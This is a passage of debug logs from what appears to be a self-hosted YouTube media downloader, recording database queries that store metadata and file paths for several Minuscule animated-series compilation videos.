?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Jump, Jump, Jump | S01E76\n00:09:05 | Horsefly | S01E21\n00:13:47 | Mad Fly | S01E55\n00:18:26 | A Gust Of Wind | S01E13\n00:23:07 | The Ladybug | S01E01\n00:27:44 | Ladybugs | S01E17\n00:32:23 | Nap Time | S01E14\n00:37:12 | Hyperactive | S01E54\n00:41:53 | Cherry Tomato | S01E77\n00:46:32 | The Last Supper | S01E25\n00:51:21 | Dragonflies | S01E33\n00:56:05 | A Rolling Snail Gathers No Moss | S01E49\n01:00:41 | Catapult | S01E27\n01:05:28 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Jump #Grasshopper #Competition #Silly #Minuscule #nature #insects #ladybugs #animatedseries", "Hiccups | Minuscule 🍃 85' Compilation", "196bede6-a95f-4fe2-882b-34682f751afc", "QGbnMSlKyjE", 4238, false, 4, "https://www.youtube.com/watch?v=QGbnMSlKyjE", 9, "/downloads/Miniscule Season 1/2025-12-04 Hiccups | Minuscule 🍃 85' Compilation/Hiccups | Minuscule 🍃 85' Compilation [QGbnMSlKyjE].mp4", false, false, false, [], 1, ~U[2025-12-04 11:00:47Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Jump, Jump, Jump | S01E76\n00:09:05 | Horsefly | S01E21\n00:13:47 | Mad Fly | S01E55\n00:18:26 | A Gust Of Wind | S01E13\n00:23:07 | The Ladybug | S01E01\n00:27:44 | Ladybugs | S01E17\n00:32:23 | Nap Time | S01E14\n00:37:12 | Hyperactive | S01E54\n00:41:53 | Cherry Tomato | S01E77\n00:46:32 | The Last Supper | S01E25\n00:51:21 | Dragonflies | S01E33\n00:56:05 | A Rolling Snail Gathers No Moss | S01E49\n01:00:41 | Catapult | S01E27\n01:05:28 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Jump #Grasshopper #Competition #Silly #Minuscule #nature #insects #ladybugs #animatedseries", "Hiccups | Minuscule 🍃 85' Compilation", "QGbnMSlKyjE", 4238, false, 4, "https://www.youtube.com/watch?v=QGbnMSlKyjE", "/downloads/Miniscule Season 1/2025-12-04 Hiccups | Minuscule 🍃 85' Compilation/Hiccups | Minuscule 🍃 85' Compilation [QGbnMSlKyjE].mp4", false, ~U[2025-12-04 11:00:47Z]] 00:54:32.233 [debug] QUERY OK source="sources" db=0.4ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.234 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 07:00:52Z], 4] 00:54:32.238 [debug] QUERY OK source="media_items" db=2.5ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rosy | S01E38\n00:04:41 | Goofing Off | S01E37\n00:09:22 | The Infernal Anthill | S01E35\n00:13:42 | Ants | S01E02\n00:18:31 | The Quest For The Pink Lollipop | S01E32\n00:23:12 | Totem | S01E28\n00:27:58 | The Bridge On The River Zzzzzzz | S01E18\n00:32:44 | The Ladybug | S01E01\n00:37:21 | Convoy | S01E10\n00:42:03 | The Shellproof Nut | S01E40\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | A Bee’s Night Out | S01E51\n00:56:19 | Sleeping In | S01E12\n01:01:08 | A Cruel World | S01E46\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#busy #ant #objects #conformist #ants #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Rosy | Minuscule | 80' Compilation", "3d39cef5-c3f1-4a54-9317-7098ba08d1e2", "s7GdvVPoIhA", 3988, false, 4, "https://www.youtube.com/watch?v=s7GdvVPoIhA", 10, "/downloads/Miniscule Season 1/2025-11-11 Rosy | Minuscule | 80' Compilation/Rosy | Minuscule | 80' Compilation [s7GdvVPoIhA].mkv", false, false, false, [], 1, ~U[2025-11-11 07:00:52Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rosy | S01E38\n00:04:41 | Goofing Off | S01E37\n00:09:22 | The Infernal Anthill | S01E35\n00:13:42 | Ants | S01E02\n00:18:31 | The Quest For The Pink Lollipop | S01E32\n00:23:12 | Totem | S01E28\n00:27:58 | The Bridge On The River Zzzzzzz | S01E18\n00:32:44 | The Ladybug | S01E01\n00:37:21 | Convoy | S01E10\n00:42:03 | The Shellproof Nut | S01E40\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | A Bee’s Night Out | S01E51\n00:56:19 | Sleeping In | S01E12\n01:01:08 | A Cruel World | S01E46\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#busy #ant #objects #conformist #ants #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Rosy | Minuscule | 80' Compilation", "s7GdvVPoIhA", 3988, false, 4, "https://www.youtube.com/watch?v=s7GdvVPoIhA", "/downloads/Miniscule Season 1/2025-11-11 Rosy | Minuscule | 80' Compilation/Rosy | Minuscule | 80' Compilation [s7GdvVPoIhA].mkv", false, ~U[2025-11-11 07:00:52Z]] 00:54:32.239 [debug] QUERY OK source="sources" db=0.4ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.240 [debug] QUERY OK source="media_items" db=0.9ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 19:00:33Z], 4] 00:54:32.243 [debug] QUERY OK source="media_items" db=2.3ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\n00:04:38 | Nap Time | S01E14\n00:09:27 | Horsefly | S01E21\n00:14:09 | Hyperactive | S01E54\n00:18:50 | Insect High Velocity | S01E53\n00:23:29 | Dragonflies | S01E33\n00:28:13 | Leech | S01E73\n00:32:38 | The Last Supper | S01E25\n00:37:27 | Sleeping In | S01E12\n00:42:16 | Wasp Belle | S01E04\n00:47:05 | Ladybugs | S01E17\n00:51:44 | Some Weird Fly | S01E78\n00:56:14 | Goofing Off | S01E37\n01:00:55 | The Ladybug | S01E01\n01:05:31 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #dream #cicada #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation", "96c332c2-dd02-4263-a22b-5c24dbd86eab", "NcJqhUC6BFA", 4242, false, 4, "https://www.youtube.com/watch?v=NcJqhUC6BFA", 11, "/downloads/Miniscule Season 1/2025-12-02 The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation/The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation [NcJqhUC6BFA].mp4", false, false, false, [], 1, ~U[2025-12-02 19:00:33Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\n00:04:38 | Nap Time | S01E14\n00:09:27 | Horsefly | S01E21\n00:14:09 | Hyperactive | S01E54\n00:18:50 | Insect High Velocity | S01E53\n00:23:29 | Dragonflies | S01E33\n00:28:13 | Leech | S01E73\n00:32:38 | The Last Supper | S01E25\n00:37:27 | Sleeping In | S01E12\n00:42:16 | Wasp Belle | S01E04\n00:47:05 | Ladybugs | S01E17\n00:51:44 | Some Weird Fly | S01E78\n00:56:14 | Goofing Off | S01E37\n01:00:55 | The Ladybug | S01E01\n01:05:31 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #dream #cicada #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation", "NcJqhUC6BFA", 4242, false, 4, "https://www.youtube.com/watch?v=NcJqhUC6BFA", "/downloads/Miniscule Season 1/2025-12-02 The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation/The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation [NcJqhUC6BFA].mp4", false, ~U[2025-12-02 19:00:33Z]] 00:54:32.244 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.246 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-18 07:00:01Z], 4] 00:54:32.249 [debug] QUERY OK source="media_items" db=2.3ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Torpedo | S01E52\n00:04:39 | Cherry Tomato | S01E77\n00:09:18 | Catapult | S01E27\n00:14:05 | Insect High Velocity | S01E53\n00:18:44 | Picnic | S01E24\n00:23:28 | Horsefly | S01E21\n00:28:10 | The Ladybug | S01E01\n00:32:46 | Zzzeplin | S01E22\n00:37:35 | Out Of A Tin Can | S01E65\n00:42:10 | The Wild Bunch | S01E74\n00:46:49 | Leech | S01E73\n00:51:14 | The Mosquito | S01E58\n00:55:23 | A Mosquito Day Afternoon | S01E72\n01:00:03 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Torpedo #Mosquito #Mustard #Jackhammer #cherry #tomato #fly #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Torpedo | Minuscule 🍃 80' Compilation", "eb5df3a4-57e6-4c27-9bb1-9765a0ca9b49", "-eoWfAmRjaI", 3913, false, 4, "https://www.youtube.com/watch?v=-eoWfAmRjaI", 12, "/downloads/Miniscule Season 1/2025-11-18 Torpedo | Minuscule 🍃 80' Compilation/Torpedo | Minuscule 🍃 80' Compilation [-eoWfAmRjaI].mkv", false, false, false, [], 1, ~U[2025-11-18 07:00:01Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Torpedo | S01E52\n00:04:39 | Cherry Tomato | S01E77\n00:09:18 | Catapult | S01E27\n00:14:05 | Insect High Velocity | S01E53\n00:18:44 | Picnic | S01E24\n00:23:28 | Horsefly | S01E21\n00:28:10 | The Ladybug | S01E01\n00:32:46 | Zzzeplin | S01E22\n00:37:35 | Out Of A Tin Can | S01E65\n00:42:10 | The Wild Bunch | S01E74\n00:46:49 | Leech | S01E73\n00:51:14 | The Mosquito | S01E58\n00:55:23 | A Mosquito Day Afternoon | S01E72\n01:00:03 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Torpedo #Mosquito #Mustard #Jackhammer #cherry #tomato #fly #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Torpedo | Minuscule 🍃 80' Compilation", "-eoWfAmRjaI", 3913, false, 4, "https://www.youtube.com/watch?v=-eoWfAmRjaI", "/downloads/Miniscule Season 1/2025-11-18 Torpedo | Minuscule 🍃 80' Compilation/Torpedo | Minuscule 🍃 80' Compilation [-eoWfAmRjaI].mkv", false, ~U[2025-11-18 07:00:01Z]] 00:54:32.250 [debug] QUERY OK source="sources" db=0.4ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.251 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-30 11:01:41Z], 4] 00:54:32.260 [debug] QUERY OK source="media_items" db=7.3ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Caterpillar Dream | S01E20\n00:09:25 | Dragonflies | S01E33\n00:14:09 | Love Story | S01E03\n00:18:58 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:23:42 | The Ladybug | S01E01\n00:28:18 | The Wild Bunch | S01E74\n00:32:57 | Insect High Velocity | S01E53\n00:37:36 | A Mosquito Day Afternoon | S01E72\n00:42:16 | The Mosquito | S01E58\n00:46:25 | The Good Education | S01E56\n00:51:12 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:56:00 | The Apple Of Concord | S01E36\n01:00:46 | The Right Seed | S01E57\n01:05:32 | Cicadas’ Song | S01E16\n01:10:22 | Nap Time | S01E14\n01:15:10 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Cicada Do Brasil | Minuscule 🍃 95' Compilation", "f2aa6415-e7fc-47a1-943b-925627e8ae4c", "pTBNXPHEFZY", 4821, false, 4, "https://www.youtube.com/watch?v=pTBNXPHEFZY", 13, "/downloads/Miniscule Season 1/2025-10-30 Cicada Do Brasil | Minuscule 🍃 95' Compilation/Cicada Do Brasil | Minuscule 🍃 95' Compilation [pTBNXPHEFZY].mkv", false, false, false, [], 1, ~U[2025-10-30 11:01:41Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Caterpillar Dream | S01E20\n00:09:25 | Dragonflies | S01E33\n00:14:09 | Love Story | S01E03\n00:18:58 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:23:42 | The Ladybug | S01E01\n00:28:18 | The Wild Bunch | S01E74\n00:32:57 | Insect High Velocity | S01E53\n00:37:36 | A Mosquito Day Afternoon | S01E72\n00:42:16 | The Mosquito | S01E58\n00:46:25 | The Good Education | S01E56\n00:51:12 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:56:00 | The Apple Of Concord | S01E36\n01:00:46 | The Right Seed | S01E57\n01:05:32 | Cicadas’ Song | S01E16\n01:10:22 | Nap Time | S01E14\n01:15:10 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Cicada Do Brasil | Minuscule 🍃 95' Compilation", "pTBNXPHEFZY", 4821, false, 4, "https://www.youtube.com/watch?v=pTBNXPHEFZY", "/downloads/Miniscule Season 1/2025-10-30 Cicada Do Brasil | Minuscule 🍃 95' Compilation/Cicada Do Brasil | Minuscule 🍃 95' Compilation [pTBNXPHEFZY].mkv", false, ~U[2025-10-30 11:01:41Z]] 00:54:32.261 [debug] QUERY OK source="sources" db=0.4ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.262 [debug] QUERY OK source="media_items" db=0.9ms idle=12.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-16 10:00:31Z], 4] 00:54:32.265 [debug] QUERY OK source="media_items" db=2.3ms idle=12.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Windswept | S01E68\n00:09:30 | Insect High Velocity | S01E53\n00:14:09 | The Last Supper | S01E25\n00:18:58 | The Winter Of Our Discontent | S01E67\n00:23:47 | Bless You! | S01E66\n00:27:58 | No Luck | S01E62\n00:32:41 | The Ladybug | S01E01\n00:37:17 | A Mosquito Day Afternoon | S01E72\n00:41:57 | Out Of A Tin Can | S01E65\n00:46:32 | Nap Time | S01E14\n00:51:21 | Some Weird Fly | S01E78\n00:55:50 | Picnic | S01E24\n01:00:35 | Mad Fly | S01E55\n01:05:14 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #Windswept #fan #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind | Minuscule 🍃 85' Compilation", "aa60decd-b357-4d01-863a-fe2ce2193121", "BQXIV1BVAV0", 4212, false, 4, "https://www.youtube.com/watch?v=BQXIV1BVAV0", 14, "/downloads/Miniscule Season 1/2025-10-16 A Gust Of Wind | Minuscule 🍃 85' Compilation/A Gust Of Wind | Minuscule 🍃 85' Compilation [BQXIV1BVAV0].mp4", false, false, false, [], 1, ~U[2025-10-16 10:00:31Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Windswept | S01E68\n00:09:30 | Insect High Velocity | S01E53\n00:14:09 | The Last Supper | S01E25\n00:18:58 | The Winter Of Our Discontent | S01E67\n00:23:47 | Bless You! | S01E66\n00:27:58 | No Luck | S01E62\n00:32:41 | The Ladybug | S01E01\n00:37:17 | A Mosquito Day Afternoon | S01E72\n00:41:57 | Out Of A Tin Can | S01E65\n00:46:32 | Nap Time | S01E14\n00:51:21 | Some Weird Fly | S01E78\n00:55:50 | Picnic | S01E24\n01:00:35 | Mad Fly | S01E55\n01:05:14 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #Windswept #fan #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind | Minuscule 🍃 85' Compilation", "BQXIV1BVAV0", 4212, false, 4, 